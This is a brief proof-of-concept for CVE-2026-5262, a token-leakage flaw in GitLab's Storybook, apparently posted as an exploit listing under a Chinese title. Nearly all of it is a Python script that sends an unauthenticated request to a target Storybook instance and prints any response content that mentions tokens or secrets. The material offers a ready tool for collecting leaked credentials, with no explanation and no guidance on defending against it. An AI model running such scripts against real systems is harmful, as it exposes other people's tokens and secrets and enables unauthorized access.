CVE-2026-5262 GitLab Storybook令牌泄露漏洞

import requests # Target URL pointing to the vulnerable Storybook instance target_url = "http://target-gitlab-instance:3001/stories" # Send an unauthenticated GET request to access the environment try: response = requests.get(target_url, timeout=10) # Check if the response contains sensitive tokens or keys if response.status_code == 200: print("[+] Successfully connected to Storybook environment.") if "token" in response.text.lower() or "secret" in response.text.lower(): print("[+] Potential token leakage detected in response.") print(f"[+] Content snippet: {response.text[:500]}") else: print("[-] No obvious tokens found, but manual inspection recommended.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")